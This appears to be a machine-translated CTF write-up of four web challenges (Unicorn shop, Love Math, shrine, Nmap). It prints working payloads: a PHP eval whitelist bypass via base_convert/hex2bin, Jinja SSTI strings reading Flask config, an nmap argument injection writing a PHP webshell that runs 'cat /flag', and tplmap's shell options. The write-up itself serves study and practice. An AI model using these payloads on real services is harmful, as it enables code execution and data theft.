buu web

web

[ASIS 2019]Unicorn shop

• analysis

 Open the interface , To buy things , The entered price can only be char() A character  1 That's ok  10 no way 
 Three notes 
 It's too cheap to buy , Your display is not enough 
 Directory scanning ,robots.txt.python2.7  Tornado frame 

Traceback (most recent call last):
  File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 1543, in _execute
    result = yield result
  File "/usr/local/lib/python2.7/site-packages/tornado/gen.py", line 1099, in run
    value = future.result()
  File "/usr/local/lib/python2.7/site-packages/tornado/concurrent.py", line 260, in result
    raise_exc_info(self._exc_info)
  File "/usr/local/lib/python2.7/site-packages/tornado/gen.py", line 315, in wrapper
    yielded = next(result)
  File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 2409, in get
    self.root, absolute_path)
  File "/usr/local/lib/python2.7/site-packages/tornado/web.py", line 2601, in validate_absolute_path
    raise HTTPError(404)
HTTPError: HTTP 404: Not Found

• Vulnerability mining

 It may be template injection , Then read admin Of password

imporant  What does it mean 

• utilize
  First learn a SSTI Automation tools tplmapgithub Search and download

 Install dependency library 
sudo pip2 install -r requirement.txt

Usage: python tplmap.py [options]
 
 Options :
  -h, --help           Show help and exit 
 
 The goal is :
  -u URL, --url=URL    The goal is  URL
  -X REQUEST, --re..   Force use of the given HTTP Method  (e.g. PUT)
 
 request :
  -d DATA, --data=..   adopt POST Data string sent   It must be a query string : param1=value1&param2=value2
  -H HEADERS, --he..   Additional header  (e.g. 'Header1: Value1')  Use multiple times to add new headers 
  -c COOKIES, --co..  Cookies (e.g. 'Field1=Value1')  Use it many times to add new Cookie
  -A USER_AGENT, -..  HTTP User-Agent  Header value 
  --proxy=PROXY        Use a proxy to connect to the target URL
 
 testing :
  --level=LEVEL        The code context escape level to execute  (1-5, Default: 1)
  -e ENGINE, --eng..   Force the backend template engine to be set to this value 
  -t TECHNIQUE, --..   technology  R: Rendering  T: Time based blind annotation  Default: RT
 
 Operating system access :
  --os-cmd=OS_CMD      Execute operating system commands 
  --os-shell           Prompt interactive operating system Shell
  --upload=UPLOAD      Upload local file to remote host 
  --force-overwrite    Force overwriting files when uploading 
  --download=DOWNL..   Download remote files to the local host 
  --bind-shell=BIN..   At the end of the goal TCP Generate system on port Shell And connect to it 
  --reverse-shell=..   Operation system Shell And reverse connect to the local host port 
 
 Template check :
  --tpl-shell          Prompt interactive on the template engine Shell
  --tpl-code=TPL_C..   Inject code into the template engine 
 
 routine :
  --force-level=FO..   Force the test level to be set to this value 
  --injection-tag=..   Use string as injection tag  (default '*')

• After detection, it is found that it does not exist
• Find one char() But more than 1337？

 Knowledge point ：UTF-8 Code conversion problem , Cause deception 
 Two different codes Unicode Characters may have some equivalence , This equivalence is a relatively weak type of equivalence between characters or character sequences .
 Different languages correspond to different codes , Columns such as 
 A Chinese character in utf-8 The last three 16 Base number , But it will still be treated as a character 

 Simply speaking , Find a foreign character , One character, but the number is greater than 1337
 zimbabwe (bushi

ASCII Code in unicode Medium is U+00~U+07f

• The rest of the characters Such as this N
  

• Enter a bunch of hexadecimal \xc9\xb4(%c9%b4), Will be recognized as a word

• therefore , Find a number , It's more than 1337 Big numbers , Then enter in encoded form \x->% Just go

• Enter... Directly in the search box number find

• utf-8,\x become % Just go

• Reference article ： Click on

• Related to this topic Unicode Code related websites ： Click on

[CISCN 2019 Preliminaries ]Love Math

• Give the source code

<?php
error_reporting(0);
// I heard that you like math very much , I don't know if you love it better than love flag
if(!isset($_GET['c'])){
    
    show_source(__FILE__);
}else{
    
    // Example  c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
    
        die(" Too long doesn't count ");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
    
        if (preg_match('/' . $blackitem . '/m', $content)) {
    
            die(" Please don't type strange characters ");
        }
    }
    // Common mathematical functions http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
    
        if (!in_array($func, $whitelist)) {
    
            die(" Please don't enter strange functions ");
        }
    }
    // Help you figure out the answer 
    eval('echo '.$content.';');
}

• notice eval(echo) Loopholes in command execution , Use operators to get commands ？？ And the number of characters is less than 80 The impression is that 16 Hexadecimal encoding bypasses certain filtering . To study the

PHP Function call ：
php Function name can be passed to a variable by string in , Then the function is called dynamically through this variable 

 stay PHP The default function name in is string 

• This problem can only use functions in the white list , Look at other people's articles

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"   //hex2bin A string of 16 Binary number to binary string 
($$pi){pi}(($$pi){abs}) => ($_GET){pi}($_GET){abs}  //{} Can replace []


//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))

 Function to make characters , Obtain by XOR shell
//system('cat'.dechex(16)^asinh^pi) => system('cat *')
base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

• base_convert() The function can convert numbers between any base numbers

base_convert(number,frombase,tobase)
number- Initial number ,form-to  From one base to another 
dechex(number)
 take 10 The base number is converted to 16 Base number 

• How to construct your own ideas

** Pay attention to the functions of binary conversion and commonly used hex2bin As long as get 16 Hexadecimal can get characters .**
 Go straight to the last step first , We are going to carry out the order  system('ls')
 secondly , We need to use pure numbers to get , utilize PHP characteristic (system)('ls')
pi Is the mathematical function PI , Function names can use strings ,; The two commands are separated 
 One way ：$_GET How to pass parameters    Get it first  _GET
 Another kind ： Just write it completely shell perform 
($_GET[a])($_GET[b])&a=system&b=ls.
_GET=hex2bin(5f 47 45 54)=base_convert(37907361743,10,36)(dechex(1598506324))
 New posture ：[] have access to {} Replace 
$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
$pi=_GET,($$pi){pi}=$_GET{pi}=$_GET[pi] We can assign values 

• And this question has a length limit , I really don't understand how to do it during the game . Get on php Environment acquisition or online binary conversion tool
• Determination of base , You can determine the union of two bases
  And there is hex2bin All characters , Then get the number . Pay attention to the length limit

 Later, it was found that hexadecimal numbers first and then letters 
36 Base number  0-9 a-z
 That analogy follows  12 It's just  0-9,A,B (X,E It's OK )
 Regular pattern , It's not completely regular 

[WesternCTF2018]shrine

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')


@app.route('/')
def index():
    return open(__file__).read()


@app.route('/shrine/')
def shrine(shrine):

    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')
        blacklist = ['config', 'self']
        return ''.join(['{
    {% set {}=None%}}'.format(c) for c in blacklist]) + s

    return flask.render_template_string(safe_jinja(shrine))


if __name__ == '__main__':
    app.run(debug=True)

• Template Injection , There are filters
  
• flag In the environment variable ,self config Being filtered usually uses { {config}} Get global environment variables . see Netizens payload Complete works of , In the last line, I saw something that should work Special file reading { {url_for.__globals__['current_app'].config.FLAG}}
• When disabled { {config}}, Pass on { {self.__dict__}}, When both are disabled

 utilize python Objects to call disabled function objects 
{
   {url_for.__globals__}}			# Get all global variables 
{
   {url_for.__globals__['current_app'].config}}		# Get the current global variable 

 perhaps   Another kind   flash 
get_flashed_message()
 Back in the Flask Pass through  flash()  List of incoming flash messages . Add a message represented by a string object to a message queue ,
 And then by calling get_flashed_messages()  Method take out ( Flash messages can only be retrieved once , The flash information will be cleared after it is removed )
{
   {get_flashed_messages.__globals__}} Get global information 
get_flashed_messages.__globals__['current_app'].config

[ WANGDING cup 2020 Rosefinch formation ]Nmap 1

• Input ip, Scan results

• Ideas ： Command execution vulnerability or nmap Writing documents
• First try simple command execution , Semicolon truncation, etc , Try a few , Try writing the file again

namp ip  scanning ip Address , But you can also read and write files 
-o output   Parameters 
-o   Output the scanning results to a file 
-oG:grep preservation 
-oN: Save normally 
-oX：xml Format preservation 
-oA： Scan results in standard format 、XML Format and Grep The format is saved once , We separate .nmap,.xml and .gnmap In file 

 Generally, the results of our scanning are 
# Nmap 7.92 scan initiated Sat Jul 23 20:49:59 2022 as: nmap -sV -p- -o result 127.0.0.1
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000026s latency).
All 65535 scanned ports on localhost (127.0.0.1) are in ignored states.
Not shown: 65535 closed tcp ports (conn-refused)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 23 20:49:59 2022 -- 1 IP address (1 host up) scanned in 0.81 seconds

 Will record our ip Address , If we add a little shell stay ip after , how ？

┌──(xxx㉿kali)-[~/tplmap]
└─$ nmap -sV -p- 127.0.0.1  '<?php echo 1 ?>' -o result.txt
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-23 20:51 CST
Failed to resolve "<?php echo 1 ?>".
Failed to resolve "<?php echo 1 ?>".
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000023s latency).
All 65535 scanned ports on localhost (127.0.0.1) are in ignored states.
Not shown: 65535 closed tcp ports (conn-refused)

Failed to resolve "<?php echo 1 ?>".
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds
                                                                                                                                             
┌──(xxx㉿kali)-[~/tplmap]
└─$ cat result.txt 
# Nmap 7.92 scan initiated Sat Jul 23 20:51:45 2022 as: nmap -sV -p- -o result.txt 127.0.0.1 "<?php echo 1 ?>"
Failed to resolve "<?php echo 1 ?>".
Failed to resolve "<?php echo 1 ?>".
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000023s latency).
All 65535 scanned ports on localhost (127.0.0.1) are in ignored states.
Not shown: 65535 closed tcp ports (conn-refused)

Failed to resolve "<?php echo 1 ?>".
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 23 20:51:46 2022 -- 1 IP address (1 host up) scanned in 0.68 seconds


 Will report a mistake , But it will shell write in . So let's change the file name and ip Soon I can write shell Did you? 

• No accident , A firewall
  
• Filter php keyword , Suffixes can be used phtml,php5 Etc , Use short tags

'<= `cat /flag`' -oA shell.phtml

• I can't find out , Cannot read write file , Later, I saw others' Writing , Quotation marks include complete statements , People use -oG, Must be added IP Make the scan successful

 127.0.0.1  '<= `cat /flag` -oG shell.phtml'
  Or by scanning   The file read content is output to txt In file 
' -iL /flag -oN vege.txt '

//phtml
# Nmap 6.47 scan initiated Sat Jul 23 13:14:14 2022 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/9e59c -oG shell.phtml 127.0.0.1  \ <= `cat /flag` \\
Host: 127.0.0.1 (localhost)	Status: Up
Host: 127.0.0.1 (localhost)	Ports: 80/open/tcp//http///	Ignored State: closed (99)
# Nmap done at Sat Jul 23 13:14:15 2022 -- 1 IP address (1 host up) scanned in 0.31 seconds

• It turned out , I forgot the question mark and semicolon , And find the escape symbol of all evil , Use the complete label
• Find out -o It's fine too ,-oA no way

127.0.0.1 ' <?= `cat /flag`;?> -oG shell.phtml '

Harvest

• Binary conversion , I used to only know 16 Now I know 2-36 Hexadecimal is ok , A way to get letters
• Function USES You can assign values using $a()
• unicode Coding problem ( It's mainly about digital coding ）
• nmap If you write an error to a file, you can write
• SSTI Around the position ,url_for.globals Use . The magic method of underlining